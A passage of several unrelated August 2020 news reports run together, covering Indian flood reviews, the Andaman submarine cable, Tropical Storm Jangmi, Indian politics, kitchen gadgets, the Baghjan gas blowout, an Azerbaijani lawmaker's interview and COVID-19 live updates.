must ensure that people follow all health precautions such as wearing of face masks, hand sanitisation and maintaining an adequate physical distance with each other while undertaking rescue efforts. He said the relief material must include provisions for hand washing and sanitising and face masks for the affected people. Special provisions should be made for elderly people, pregnant women and people with co-morbidities, he observed. Modi said the states should ensure that all development and infrastructure projects are built with resilience to withstand local disasters and help reduce the consequential losses. The prime minister pointed out that over the last few years, forecasting agencies such as the India Meteorological Department (IMD) and the Central Water Commission (CWC) are making concerted efforts to make better and more usable flood forecasts. They are trying to provide not only rainfall and river-level forecasts, but also location-specific forecasts of inundation, he added. Pilot projects are underway to use innovative technologies such as artificial intelligence to improve the location-specific forecasts, for which the states should provide the necessary information to these agencies and timely disseminate the warnings to the local communities, Modi said. "The prime minister emphasised on better coordination between all central and state agencies to have a permanent system for forecasting of floods and extensive use of innovative technologies for improving forecast and warning system," the PMO statement said. The chief ministers of Assam, Bihar, Uttar Pradesh, Maharashtra and Kerala and the home minister of Karnataka gave updates on the flood situation and rescue efforts in their respective states, according to the statement. They lauded the efforts of central agencies, including the National Disaster Response Force (NDRF), for a timely deployment of teams and rescuing people. The states also put forward some suggestions for short-term and long-term measures to mitigate the effects of floods. The prime minister directed officials to take action on the suggestions. He said the Centre will continue to provide support to the states and Union territories to strengthen their capabilities in dealing with various disasters. According to those present at the meet, Modi said he would have visited all the states but could not due to the coronavirus pandemic. The submarine optical fibre from Chennai to Port Blair that promises fifth-generation (5G) connectivity, the latest in cellular wireless technology, to the Andaman and Nicobar Islands could be the first step for India to set up an alternative to China for the Association of Southeast Asian Nations (ASEAN) countries to gain international connectivity, experts say. The project, inaugurated by Prime Minister Narendra Modi on Monday, promises a 2,300-km submarine optical fibre cable network that will connect the islands of Andaman and Nicobar Islands to Chennai. The submarine fibre network is estimated to cost Rs 1,224 crore and a bulk of the fibre being sourced from NEC Corporation Japan, which also provided technical assistance during the installation, said a department of telecommunications (DoT) official. When I visited Andaman and Nicobar Islands in 2018, people complained about poor internet. A 2300 kms long submarine cable inaugurated today changes that! In quick time and challenging geographies, the cable is all set to transform lives. Kudos to those who worked on this! pic.twitter.com/XK7MgXyAty Narendra Modi (@narendramodi) August 10, 2020 According to experts, the move will open up a host of opportunities for India in the ASEAN region, where China provides a majority of the submarine optical fibre. This will open up more opportunities for India to interact with ASEAN countries like Vietnam, Cambodia and Laos, said Shyamal Ghosh, former secretary, DoT. The PM had set up a line of credit to explore such options in 2017, but due to bureaucratic bottlenecks there has been no progress so far, he said. A DoT official said that the department was working towards connecting neighbouring countries with the fibre, but said it would not fall under the Universal Service Obligation Fund (USOF) project, which is providing submarine optical fibre connectivity in the Andaman & Nicobar Islands. Ghosh cited that the inability of the countries to provide a sovereign guarantee for the line of credit because private companies mostly run the telecom sector and that proved to be a major hurdle. These (ASEAN) countries are also looking for an alternative, as they dont want to put all their eggs in the same basket, he said. In Andaman and Nicobar Islands, the network will provide a stable connection as the previously used satellite was more dependent on the availability of bandwidth, especially because the islands emerge as an important strategic point in the Indian Ocean region (IOR), he added. RK Bhatnagar, a former technological adviser to DoT, said the submarine network in the second phase of connections could easily extend to countries such as Singapore and Thailand. India is already having an offer of $1 billion line of credit for digital connectivity with ASEAN countries. Countries such as Myanmar, Laos, Cambodia, Vietnam can take advantage to have their OFC (optical fibre cable) digital highways connecting to the north-eastern states through a protected ring architecture and extension by 700 kilometres (km). Myanmar and other ASEAN countries can enjoy better international bandwidth option via the north-eastern states, said Bhatnagar. He also exuded optimism that the move would be useful after the country graduates to 5G technology. The cable system with the incremental submarine of 1,050 km can take connectivity to the nearest port of Thailand. Greater Nicobar, the last Indian island, is less than 175 km from Rando Island in Sumatra, Indonesia. India stands to gain politically if 1,925 km of incremental submarine cable can connect three ASEAN countries such as Myanmar, Thailand and Indonesia. This distance is even less than 2,300 km from Chennai to Andaman and Nicobar islands. The project can be funded through the ASEAN line of credit, he added. Both Ghosh and Bhatnagar believe that the extension of the cable network could bring in increased opportunities for trade and revenue generation for the country. This system route, if extended, to three countries, as suggested along with OFC ring architecture in select ASEAN countries will bring in many more projects for the Indian domestic manufacturing industry, Bhatnagar said. The project launched on Monday aims to provide high-speed internet to boost the islands capabilities in terms of disaster mitigation, relief work and enable access to high-speed internet connectivity. At present, this is the only undersea optical fibre cable network owned by the Indian government. Private undersea networks already exist in Mumbai and Chennai, some of which the government had partnered earlier before Videsh Sanchar Nigam Limited (VSNL) was merged with Tata Communications. The project has been completed under the DoTs initiative USOF, which was set up under the Indian Telegraph (Amendment) Act, 2003. The government, in terms of policy decisions, spearheads the USOF, whose contributors include private players such as DoT licencees Airtel, Vodafone, Reliance Jio and Tata Telecom. All these telecom companies contribute a mandatory 5% of their licence fee adjusted gross revenue (AGR) to the fund and will now be able to lease the fibre to provide connections in the Andaman and Nicobar Islands. According to DoT officials familiar with the matter, the USOF collects nearly Rs 8,000 crore annually. The USOF has also led initiatives to connect military and paramilitary forces via satellite connectivity such as Very Small Aperture Satellites (VSAT) in the past. The project aims to establish 1,409 connections in remote areas and has already established 183 of them, said DoT officials familiar with the matter. Mobile coverage, which is still under the tender process, would also be provided under USOF to remote villages in Andaman and Nicobar Islands, the officials added. NASA's Aqua satellite obtained a visible image of Tropical Storm Jangmi after it transitioned into an extra-tropical storm. The Joint Typhoon Warning Center (JTWC) posted its final bulletin on Tropical Storm Jangmi on Aug. 10 at 11 a.m. EDT (1500 UTC). At that time, it was located near latitude 26.9 degrees north and longitude 130.4 degrees east, about 139 miles northeast of Chinhae, South Korea. Jangmi was speeding to the north-northeast at 29 knots and had maximum sustained winds of 35 knots (40 mph). On Aug. 11, Jangmi had moved into the Sea of Japan and had become extra-tropical. What an Extra-tropical Storm Means When a storm becomes extra-tropical, it means that a tropical cyclone has lost its "tropical" characteristics. The National Hurricane Center defines "extra-tropical" as a transition that implies both poleward displacement (meaning it moves toward the north or south pole) of the cyclone and the conversion of the cyclone's primary energy source from the release of latent heat of condensation to baroclinic (the temperature contrast between warm and cold air masses) processes. It is important to note that cyclones can become extratropical and retain winds of hurricane or tropical storm force. The Moderate Resolution Imaging Spectroradiometer or MODIS instrument that flies aboard NASA's Aqua satellite captured a visible image of extra-tropical storm Jangmi in the Sea of Japan, near the Korea Strait. The Korea Strait is located between South Korea and Japan, connecting the East China Sea, the Yellow Sea and the Sea of Japan. The MODIS image showed that the storm had become somewhat elongated. Satellite imagery was created using NASA's Worldview product at NASA's Goddard Space Flight Center in Greenbelt, Md. On Aug. 11, the Japan Meteorological Agency posted advisories along the prefectures in the Sea of Japan as Jangmi is forecast to move through it in a north-northeasterly direction and weaken. For updated warnings and watches, visit: https://www.jma.go.jp/en/warn/. About NASA's Worldview and Aqua Satellite NASA's Earth Observing System Data and Information System (EOSDIS) Worldview application provides the capability to interactively browse over 700 global, full-resolution satellite imagery layers and then download the underlying data. Many of the available imagery layers are updated within three hours of observation, essentially showing the entire Earth as it looks "right now." NASA's Aqua satellite is one in a fleet of NASA satellites that provide data for hurricane research. Tropical cyclones/hurricanes are the most powerful weather events on Earth. NASA's expertise in space and scientific exploration contributes to essential services provided to the American people by other federal agencies, such as hurricane weather forecasting. By Rob Gutro NASA's Goddard Space Flight Center ### In a video of an event held at Kumta in the Uttara Karnataka district, Bharatiya Janata Party (BJP) Member of Parliament (MP) Anantkumar Hegde called employees of Bharat Sanchar Nigam Ltd (BSNL) traitors, who were not willing to work for the company. "BSNL has a system filled with traitors. I am using accurate words to describe them," he said in the video, adding that the Narendra Modi-led government failed to addressed problems with the Public Sector Undertaking (PSU). "The government has given money, people require services and there is infrastructure. Yet, they (BSNL employees) don't work. PM talks of Digital India, has provided funds and technology. Yet, they are not willing to work," he said. According to a report by Deccan Herald, the MP said that BSNL has become a black mark for the entire country and we will finish it. The central government will introduce disinvestment policy and close BSNL and the space will be occupied by private parties in the coming days. Anantkumar Hegde also said that more than 88,000 employees will be fired from the PSU, as the government will privatise BSNL. T Muruganandham By Express News Service CHENNAI: Minister for Dairy Development KT Rajenthra Bhalaji, who is known for expressing candid views, stirred a debate on Tuesday by proposing Edappadi K Palaniswami as the Chief Minister candidate of the AIADMK for the 2021 assembly elections though the party has been under dual leadership for the past few years after the death of former Chief Minister J Jayalalithaa. Bhalaji said Palaniswami had earned the goodwill of the masses by his style of functioning and that leading the party to victory in the assembly elections would be easier by projecting him as the CM candidate. Bhalaji's statement was seemingly a response to his Ministerial colleague Sellur K Raju who on Monday said, "As far as the AIADMK is concerned, whoever they elect as their legislative party leader after the election, that leader will be the Chief Minister. There is no counter view on this." Raju was replying to a query on who would be the CM candidate for the 2021 elections since the party has dual leadership. However, Bhalaji said he just aired his views and it's not in response to Raju's comment. But the back-to-back statements have stirred a debate over the Chief Minister candidate for the AIADMK even as the elections are several months away. For over three years, the AIADMK has been functioning with dual leadership -- while Palaniswami is heading the government, deputy Chief Minister O Panneerselvam is heading the party. However, it is obvious that Palaniswami has positioned himself as a strong leader during these years. Palaniswami and Panneerselvam are yet to respond to Bhalaji's statement. In his tweet, Bhalaji said, "Edappadiyar (Palaniswami) is Chief Minister forever. Let us face the election by projecting him as the Chief Minister candidate and win the election. Ours is the victory in 2021!" Talking to The New Indian Express, Bhalaji explained why he wants to project Palaniswami as the Chief Minister candidate: "AIADMK is a strong political party. After the demise of Amma (J Jayalalithaa), Edappadiyar (Palaniswami) has been running the government successfully for the welfare of the poor. People started seeing him as a fighter on the field." Bhalaji is all praise for Palaniswami. He went on to say: "Across the globe, top leaders are hiding in their houses. In Tamil Nadu, the Opposition leader contacts his partymen only through video conferences. But Palaniswami leads the officials by being a frontline worker. He visits every district to review the ongoing measures for the prevention of this treaded infection. This has touched the hearts of the laymen in the state. He has instilled faith among them that there is a leader to save them. So, whoever works for the welfare of the poor alone can come to power." Asked whether his view would not create ripples in the AIADMK since the party has been functioning under dual leadership for the past few years, Rajenthra Bhalaji shot back, "The party may have dual leadership. But the government should have only a single leadership and that is Edappadiyar (Edappadi K Palaniswami)." Asked why he expressed his views at this juncture, the Minister quipped, "This is the right time to convey this view. If it is not said now, it can never be. Today is Krishna Jayanthi, an auspicious day. So, I have conveyed a good thing today." By Adrian Justins The kitchen of this $17m five-bedroom home in Montecito, California, looks like it plays a central role in home life, from everyday family dining to rustling up lavish feasts for guests. The large open plan kitchen-living room leads out on to a terrace with a built-in barbecue. Outside, the contemporary house, which is set within a landscaped three-acre plot, has space for covered and open-air dining, and enjoys exquisite views of the Pacific Ocean in one direction and the Santa Ynez Mountains in the other. Here are 10 of the best gadgets to enhance your own kitchen. Philips Hue spotlight, 49.99 Lighting plays a significant role in creating the right atmosphere, especially in a kitchen that is also used as a social space. With 16 million colour combinations and 100 brightness levels, plus designated mood settings, these GU10 LED spotlights are controlled via a smartphone app. They can be used as a kitchen timer, flashing when its time to check the potatoes for example. When paired with a compatible Google Nest or Amazon Echo device, the lights can be switched on and off using voice commands. LG fridge/freezer, 5,379.99 A double tap on the mirrored glass panel of the LSR100 fridge/freezer triggers the interior to illuminate so you can see the contents without opening the door. This reduces cold air loss, which can shorten the shelf life of food. The internal temperature of the fridge and the freezer can be adjusted using an app useful for example when making ice. The app will also issue an alert if the door has been left open. Salter Cook scales, 29.99 The digital display of these smart kitchen scales can be replicated on an app using a Bluetooth connection, allowing bakers to set target weights by pressing the screen on a tablet or phone while following a recipe. Keen chefs can also create their own cookbooks in the app, rate recipes and follow methods and lists of ingredients, using strikethrough to cross out completed steps. Bosch oven, 1,579 Cooks who want to preheat the oven as they dash home can use a smartphone app to switch on the Serie 8 HRG6769S6B and set the temperature. Other features of the app include Amazon Alexa voice control and preset recipes that can automatically set the oven to the correct mode, temperature and cooking time. Using a water container behind its control panel (see picture), the oven can calculate and add the right amount of steam to stop vegetables and bread drying out. Neff cooker hood, 1,049 There is no need to raise your voice in order to be heard over the fan when running the N90 wall-mounted cooker hood at full pelt. It uses an efficient drive function with high suction power but generates low levels of noise. The hood can adjust automatically to the amount of steam or smoke being produced, and can be controlled from the hob when linked by WiFi to a compatible model. Meater Block, 279 Even with a regular meat thermometer, ensuring a steak or piece of fish is cooked perfectly can be a hassle, requiring multiple visits to the oven or grill to check the temperature. Meaters ovenproof probes monitor the internal temperature of the food, and issue audible and visual alerts from their wooden storage block when the target, set using an app, is reached. The block also acts as a charger for the four 13cm-long probes. Individual probes are also available. Smarter kettle, 99 When dinner is over and it is time to serve up a nice brew, a kettle that can heat water to the correct temperature for different teas green tea is best made with water at 80C-85C while black tea is better at 90C or above comes into its own. Although it has to be filled manually, the smart iKettle can be set to boil remotely at any chosen time and has the option of voice control using Amazon Alexa, Google Home or Apples Siri. Siemens coffee machine, 1,499 For those who prefer coffee, the EQ.9 automatic bean-to-cup coffee maker has a barista mode that makes customised adjustments of each of the five variables that affect taste: strength, quantity, temperature, coffee-to-milk ratio and brewing speed. The machine can store the preferences of up to six users, or you can select from 11 presets using a smartphone app. Hoover dishwasher, 319.99 When it is time to clear up, the HDPN 2D520PB dishwasher compatible with Amazon Alexa and Google Assistant has nine programmes that can be controlled remotely using voice commands. Alternatively, use the Hoover Wizard app to choose your preferred setting, or allow it to suggest the appropriate programme for each load. Roborock robot cleaner, $749.99 Leave the cleaning up when guests have gone to a robot. The S6 MaxV can teach itself the layout of your home, and embark on scheduled vacuuming and mopping routines. It avoids unexpected obstacles thanks to a stereoscopic dual lens system, which gives it accurate depth perception, and AI that enables it to make decisions about changing direction. It cannot climb stairs but does work in the dark. Oil India Limited said Tuesday that the cumulative loss of crude oil and natural gas has been 25,624 MT and 61.62 million standard cubic metres (MMSCM) respectively at the Baghjan gas well in Assams Tinsukia district well mainly due to protests. As a result of protests/blockades/bandhs since 27th May, 2020 due to the blowout, OILs cumulative loss of crude oil and natural gas has been 25624 MT and 61.62 MMSCM respectively, OIL said in a statement.. Oil and gas Production still continues to be affected due to forceful closure of few oil and gas wells connected to Baghjan EPS. Drilling and workover operation also continue to be affected at few of the locations due to forceful closure of operation. The gas well suffered a blowout on May 27 and caught fire on June 9 which still continues to rage despite efforts to douse it. OIL said preparations are continuing to cap the well. A second attempt to cap the blowout and the fire failed on Monday due to technical glitches. OIL plans to make another bid on Tuesday. Following the snapping of one of the Bull Lines of the Athey wagon yesterday, the Bull Lines were removed and sent to OILs Engineering Workshop for repairing job. The Lines were repaired overnight and already transferred to the well site this morning. Load testing of the Bull Lines are planned today after rig up with the Athey wagon. Servicing and pressure testing of the BOP stack is also planned for today. All safety precautions are being maintained and are in place. All efforts are being taken to control the well at the earliest, the statement said. The blowout and the subsequent fire at the gas well have caused damages to nearby areas. Total number of families surveyed for assessment of damage for compensation till 10.08.2020 both combined in Doomdooma and Tinsukia Circle is 2,756, OIL said. Two OIL companies have died in the fire while three foreign experts suffered injuries in an explosion last month. Oil India, the countrys second largest hydrocarbon exploration and production public sector company also said that environmental impact assessment (EIA) study on various parameters are being carried out by various agencies such as TERI, ERM, CSIR-NEIST, IIT-Guwahati apart from OILs in-house monitoring of air quality/noise level/gas presence. Bio remediation activities at affected areas are also in progress, it said. BAKU, Azerbaijan, Aug. 11 Trend: Recent large-scale military drills between Turkey and Azerbaijan demonstrated the power, courage, and defense capabilities of their armed forces, according to an Azerbaijani lawmaker, Trend reports referring to Anadolu. "Military partnership constitutes an important vector of the Azerbaijan-Turkey strategic cooperation," Sevil Mikayilova, an Azerbaijani parliamentarian, told Anadolu Agency in an exclusive interview in the wake of recent Armenian attacks on Azerbaijani border points. Calling the 13-day joint military exercises which ended on Monday a "source of pride" for both nations, Mikayilova said the drills, which included the air and ground forces, were not the first of their kind, as the two countries have been holding such exercises on a regular basis since 2015, sometimes along with neighboring Georgia. The cooperation between Azerbaijan and Turkey is not directed against any other country or group, she stressed, calling them cooperation "for the sake of peace and partnership" springing from the two states historical and cultural roots and ethnic identity. 'Fraternal' ally "For Azerbaijan, Turkey is the closest ally and fraternal country," Mikayilova said. She underlined that Ankara has always supported Bakus "fair position" on resolving the Upper Karabakh issue between Armenia and Azerbaijan. "We are grateful to fraternal Turkey for the immediate support demonstrated during the last attacks," she said. Upper Karabakh, or Nagorno-Karabakh, an internationally recognized territory of Azerbaijan, has been under illegal Armenian occupation since 1991. "Turkey has many times stated that they regard the Nagorno-Karabakh conflict as a national matter, and Ankara would never change its position on this problem." Relations between the two brotherly countries are seen as "exemplary worldwide" and are developing at a high level in almost every sphere, she said. Unity between Azerbaijan and Turkey lays the groundwork for all regional cooperation formats, Mikayilova said, adding that this unity promotes regional peace and cooperation. Border tension Following the recent skirmishes on the frontier, there is currently "a relative calm" on the border between Azerbaijan and Armenia, but overall, the situation remains "highly tense," she said. The lawmaker highlighted that frequent armistice breaches on the line of contact are another "source of tension" showing how "fragile" the cease-fire agreement is. "So we feel a colossal threat to our western borders from the side of Armenia, and a war could flare up any moment due to Armenias unpredictable behavior and provocations." Last month, Armenia attacked Azerbaijani troops in the northwestern Tovuz border region. At least 12 Azerbaijani soldiers including two senior officers were martyred, and another four soldiers were wounded. A 76-year-old Azerbaijani civilian also lost his life. Azerbaijan accused Armenia of taking provocative actions, and Turkey warned that it would not hesitate to stand against any kind of attack on Azerbaijan. Aims behind attack The recent attacks on Azerbaijani positions in Tovuz were not random but had "precise aims," said Mikayilova. First of all, the attacks greatly jeopardized major energy and transport routes as well as strategic pipelines leading to Europe via Turkey which run through the Tovuz region, she said. Secondly, she said, through the provocation, Armenias political leadership sought to distract the Armenian pubic from its ongoing social and political crisis. "Armenia is still unable to localize largely spreading coronavirus pandemics; bad government administration ultimately resulted in a deep state power crisis." Also, the provocation served as a tool for Armenia to test the "outward response" to its illegal actions and gauge international support, she said. "For instance, Armenian attacks were committed on the eve of a meeting of the Collective Security Treaty Organization [CSTO] timed to be held the next day, July 13, she said, referring to a military alliance of six post-Soviet states, including Russia. So Armenias political leadership tried to check how firm its basis in the organization is and whether it can rely on the CSTO," she said. But, she explained, the groups neutral statement frustrated Yerevan, as did many other organizations and countries urging Armenia to stop its aggression. Upper Karabakh conflict Mikayilova stressed that the unresolved Upper Karabakh conflict is a threat to regional security and that frequent cease-fire breaches on the line of contact and official border between Armenia and Azerbaijan should raise alarms. She said over the last quarter-century the Organization for Security and Cooperation in Europe (OSCE) Minsk Group has been "quite an ineffective platform" for resolving the conflict. Co-chaired by France, Russia, and the US, the OSCE Minsk Group was formed in 1992 to find a peaceful solution to the conflict, but has never shown any results. "The OSCE Minsk Group failed to create an available mechanism or initiate any proposal to push the peace diplomacy from the deadlock. Organizing talks between the conflicting sides just for the sake of talks and making a declarative statement just for the sake of a statement could not change the status quo in the negotiation process," she said. Mikayilova urged the group to impose "strict sanctions" on the aggressor country Armenia to fulfill its international obligations. "The OSCE Minsk Group needs to distinguish an aggressor country from a country subjected to aggression." Four UN Security Council and two UN General Assembly resolutions as well as decisions by many international organizations demand the withdrawal of the occupying Armenian forces from Upper Karabakh and seven other occupied regions of Azerbaijan. Armenians also recently attacked diplomatic representatives of Azerbaijan and Azerbaijanis holding peaceful demonstrations in the US and European countries. These assaults on people protesting Armenias attacks on Azerbaijan were a "brutal manifestation of national hatred and intolerance," Mikayilova said. Such "provocations blended with terror elements" seen recently in several countries should be a wake-up call to law enforcement bodies of these states, as these posed "real threats to security systems" on both the global and national level, she said. The first such large-scale attack happened on July 21 in Los Angeles with half a million Armenians, a hub for the diaspora where a large group of Armenians attacked and injured a much smaller group of Azerbaijanis peacefully protesting Armenian aggression. This incident was followed by a number of provocations staged against representatives of the Azerbaijani diaspora and diplomatic missions in Poland, the Netherlands, Belgium, Georgia, Ukraine, and Russia. "This shows that Armenian Nazism has been stretching all over the world and knocks on the door of other nations, said Mikayilova. Armenia should give up their Turkophobic aspirations and stop aggression against Azerbaijanis. Coronavirus News and Vaccine Updates: The Union Territory reported its highest spike of 481 new cases today, taking the total to 2,616 Auto refresh feeds The average number of new cases per day in the US has declined in recent weeks but is still running high at over 54,000, versus almost 59,000 in India and nearly 44,000 in Brazil. The worldwide count of known COVID-19 infections climbed past 20 million on Monday, with more than half of them from just three countries: the US, India and Brazil, according to the tally kept by Johns Hopkins University. It took six months for the world to reach 10 million confirmed cases of the coronavirus. It took just over six weeks for that number to double, reports AP. The Committee will engage with all the stakeholders including state governments and vaccine manufacturers. The Expert Committee on vaccine administration under the chairmanship of NITI Aayog member Dr VK Paul will meet on Wednesday to consider the logistics and ethical aspects of procurement and administration of COVID-19 vaccine, said the Union Ministry of Health and Family Welfare. "We're on track to rapidly produce 100 million doses as soon as the vaccine is approved, and up to 500 million shortly thereafter, so we'll have 600 million doses," he added. "I'm pleased to announce that we have reached an agreement with Moderna to manufacture and deliver 100 million doses of their coronavirus vaccine candidate," Trump said at a White House news conference. "The federal government will own these vaccine doses, we're buying them." President Donald Trump on Tuesday announced a $1.5 billion contract with US biotech company Moderna for 100 million doses of an eventual coronavirus vaccine, the sixth such deal reached since May, reports AFP. The Indian Railways suspends all passenger train services until further notice, PTI reports. However, it says that 230 special trains will continue to remain operational. Local trains in Mumbai, which are presently being run on limited basis only on the requisition of state government, will also continue to run. Till Tuesday evening, 1,53,792 tests were conducted in Goa. So far, 9,444 COVID-19 cases have been reported in the coastal state, as per official figures. Goa Health Minister Vishwajit Rane has said the state topped in the country in terms of the number of COVID-19 tests conducted per million people, reports PTI. The last rites of Urdu poet Rahat Indori, were performed as per the Covid-19 norms at the Chhoti Khajrani graveyard in Indore, Madhya Pradesh on Tuesday night, reports ANI. Indori, who died of a cardiac arrested, had tested positive for the coronavirus on Sunday. At a press briefing, Health Ministry Secretary Rajesh Bhushan said active cases, which comprised 88.83 per cent of the total caseload on 31 March, have dropped to 28.21 percent. Amid a spurt in COVID-19 cases, the Union Health Ministry on Tuesday asked states to not get "overawed" by the rise in the number of infections but focus on aggressive testing, comprehensive tracing and tracking and efficient treatment of patients. As many as 16,39,599 COVID-19 patients have been cured and discharged so far and the reported active COVID-19 cases stand at 6,43,948, according to the Union Health Ministry. India on Wednesday reports 60,963 cases in 24 hours, taking the overall toll of the country to 23,29,639. The toll rises by 834 to 46,091. Rajasthan reports 595 new COVID-19 cases and 10 deaths till 10.30 am today. The total number of cases now at 55,482 including 14,103 active cases, 37,917 discharged cases and 821 deaths, according to the state Health Department. Mandeep is asymptomatic but was hospitalised at the SS Sparsh Multispeciality Hospital in Bengaluru on Monday night after his blood oxygen level dipped. Five of his teammates were also admitted to the same hospital on Tuesday. Five COVID-19 positive hockey players have been shifted to a hospital in Bengaluru as a precautionary measure after striker Mandeep Singh was transferred to the facility following a dip in his blood oxygen level, the Sports Authority of India (SAI) said, reports PTI. The Leader of Opposition in the state assembly has "completely recovered", a statement said. It said, "according to doctors the throat swab and blood test conducted for the second time, have come negative." The 71-year-old leader was admitted to Manipal Hospital hospital on 4 August. Former Karnataka Chief Minister Siddaramaiah, who is undergoing treatment for COVID-19 infection at a private hospital in Bengaluru, has tested negative and will be discharged tomorrow, his office said today, reports PTI. "Pre-qualification of any vaccine includes the rigorous review and assessment of all the required safety and efficacy data," Tarik Jasarevic, spokesperson for WHO, said during an online press briefing. Russian President Vladimir Putin announced Tuesday that the country was the first to approve a vaccine that offers "immunity" against the SARS-CoV-2 coronavirus. The World Health Organization has responded to Russia's claim of having developed and registered the first vaccine against the novel coronavirus by saying that a rigorous review of the vaccine's safety data needs to be submitted if the country wants the WHO's stamp of approval. Britain's economy contracted by a record 20.4 percent in the second quarter with the country in lockdown over the coronavirus pandemic, official data showed Wednesday, reports AFP. "It is clear that the UK is in the largest recession on record," the Office for National Statistics said. The fresh infections have pushed the number of active cases in the Union territory to 994, the official said. Forty more people have been cured of the disease, taking the total number of recoveries in the islands to 749, he said. The COVID-19 caseload of Andaman and Nicobar Islands rose to 1,764 on Wednesday as 139 more people tested positive for the infection, while one more fatality pushed its coronavirus death toll to 21, a health official said. All the new cases were detected during contact tracing, he said. His remarks come in the backdrop of Russian President Vladimir Putin's announcement that his country has developed the world's first vaccine against coronavirus. Director of CCMB, Rakesh K Mishra said if people are "lucky" then the Russian vaccine will work. The efficacy and safety levels of the vaccine developed by Russia for treating COVID-19 patients is not predictable in the absence of data, a top official of theCSIR-Centre for Cellular and Molecular Biology said on Wednesday, reports PTI. Puducherry records 481 coronavirus cases and five deaths on Wednesday. The Union Territorys tally rises to 6,381 and the toll reaches 96. Odisha's COVID-19 tally on Wednesday crossed the 50,000-mark with the highest single-day spike of 1,876 fresh cases, while the death toll rose to 305 as nine more patients succumbed to the disease, a health department official said. The total number of coronavirus cases in the state now stands at 50,672, he said. 264 more Maharashtra police personnel tested positive for Covid-19 while 3 died in the last 24 hours, taking the death toll to 121 in the force. The total number of police personnel infected in the state at 11,392, out of which 9,187 have recovered & 2,084 are active cases, reports ANI quoting Maharashtra Police The former president had tested positive for coronavirus prior to brain surgery. Mukherjee's daughter Sharmistha Mukherjee took to Twitter on Wednesday to pray for her father saying may God do whatever is best for him. In a fresh statement on the condition of former President Pranab Mukherjee, the Armys Research and Referral (R&R) Hospital in New Delhi said that his health condition continues to remain critical. Mukherjee is presently haemodynamically stable and on the ventilator, the hospital added. Ex-Presidents condition remains critical, daughter says may God do whatever is best for him The northeastern state has reported 845 fresh COVID-19 cases in August so far. Arunachal Pradesh now has 690 active cases, while three people have succumbed to the infection so far. Ninety-six more people, including 61 security personnel, have tested positive for COVID-19 in Arunachal Pradesh, taking the northeastern state's caseload to 2,327 on Wednesday, reports PTI. Of the total 21 deaths, 16 have come from the Victoria's aged care homes, State Premier Daniel Andrews confirmed while giving out COVID-19 updates All the new deaths were reported in Victoria. A total 410 new cases were recorded from the second most populous State and 18 new cases were reported from New South Wales yesterday. Australia's death toll due to COVID-19 crossed 350 today after it recorded its highest single day spike of 21 new fatalities, while the number of coronavirus cases jumped to 22,127 with 428 fresh infections detected in the country. There was no casualty in the blaze that erupted on the second floor of Bodeli Dhokalia Public Hospital, the official said, adding that 10 COVID-19 patients undergoing treatment at the facility were shifted to its lower floor and some of them were later admitted to other hospitals. A fire broke out in the COVID-19 ward of a two-storey hospital in Bodeli town of Gujarat's Chhotaudepur district on Wednesday morning, an official said. The petition has alleged that the Centre failed to undertake timely and effective measures for containing transmission of the virus and an independent inquiry by a commission, appointed under the Commissions of Inquiry Act 1952, was essential to inquire into the "lapses". The Supreme Court is scheduled to hear on Friday a plea which has sought a direction to the Centre to appoint a commission, headed by a retired apex court judge, for inquiry into the alleged mismanagement of the COVID-19 pandemic in the country. There are 6,43,948 active cases of coronavirus in the country at present which comprise 27.64 percent of the total caseload, while the recovery rate to 70.38 percent, according to data by the Union Health Ministry. The total coronavirus cases in India have mounted to 23,29,638, while the toll climbed to 46,091 with 834 new fatalities being reported in a span of 24 hours, the data updated at 8 am showed. The case fatality rate has declined to 1.98 percent. Maharashtra registered a spike of 12,712 new cases, taking the total number of infections to 5,48,313 The toll has risen to 18,650. The state currently has 1,47,513 active cases as a total of 3,81,843 persons have been discharged till date, reports ANI quoting the state health department. Mumbai reports 1,132 more coronavirus patients and 50 deaths today. The total number of cases climbs to 1,26,371 including 1,00,070 recovered/discharged cases, 19,064 active cases and 6,940 deaths, reports ANI quoting the Brihanmumbai Municipal Corporation (BMC). Following complaints on exorbitant fee charged by private hospitals for COVID-19 treatment, the Telangana government has ordered the healthcare facilities to display the rates. According to an order by the Director of Public Health and Family Welfare on Monday, high-end drugs and PPE (personal protection equipment) kits excluded from the package prices have to be charged at MRP only. While discharging the patients, the bills have to be given to them as certain complaints have been received stating that detailed invoices have not been given. "Any deviations from these instructions will be viewed seriously and action will be initiated," the order said. Wednesday. The chief minister made the announcement at a meeting with officials of the state government, NGOs, churches and doctors, according to an official. Every citizen should take precautionary measures as community transmission can take place at any time. The preventive measures are for our safety against the pandemic. Testing should be done in a massive way and more rapid antigen kits will be purchased, Zoramthanga was quoted as saying by The Mizoram government will purchase 10,000 more rapid antigen kits to boost the states COVID-19 testing capacity, Chief minister Zoramthanga said on Nagaland on Wednesday reported 87 new COVID-19 cases while 129 people recovered from the virus in the state, an official of the Heath department said. With the 87 fresh cases, the state's COVID-19 tally has increased to 3,118 of which 1,991 are active cases as1,113 people have recovered from the disease, eight have died and six have migrated to other states, the official said. The decision drew the ire of the Opposition parties, which alleged that it was taken to facilitate a function marking the foundation day programme of Trinamool Chatra Parishad, the student wing of the ruling TMC. TMC denied the charge as "completely baseless". The West Bengal government on pared down the number of state-wide complete lockdown by one day, making it the fifth change to the shutdown schedule this month. The lockdown on 28 August (Friday) has been done away with keeping in mind the interest of banking and business operations, a state government order said. Punjab Health Minister Balbir Singh Sidhu on Wednesday put a complete ban with immediate effect on leaves and transfers of Health Department employees in the state till 30 September. The decision was taken in the wake of the rising number of coronavirus cases in the state. All officials, including medical and para-medical staffers, have to remain present at their stations, the minister said in a statement. No leave will be given to any officer or employee during this period, he said. He said only maternity and child care leaves, however, would be allowed. Sidhu said apart from the regular employees, this order would be applicable to all those who are working on contract in various wings of the Health Department. Amid rising COVID-19 cases in Puducherry, a total lockdown would be enforced every Tuesday in UT to contain the spread of the virus, PTI quotes CM V Narayanasamy as saying. Shops will be open from 6 am to 8 pm, starting 14t August. There will be a strict night curfew between 8 pm and 6 am. Assam reports 4,593 fresh infections out of 1,43,109 tests conducted today. Total cases stand at 68,999 including 45,073 recovered cases, 23,762 active cases and 161 deaths, reports ANI quoting state health minister Himanta Biswa Sarma The COVID-19 death toll in Bihar mounted to 474 after nine patients succumbed to the disease, while 3,741 fresh cases of infection pushed state's coronavirus caseload to 90,553, a health department bulletin said. The state tested 92,414 samples in the past 24 hours and the department is aiming to achieve the target of one lakh tests per day very soon, Health Secretary Lokesh Kumar Singh said. He said that the state has 30,010 active cases. Coronavirus News and Vaccine LATEST Updates: The Maharashtra government has reduced by Rs 300 the rates of COVID-19 tests conducted by laboratories, bringing them in the range of Rs 1,900 to Rs 2,500, said State 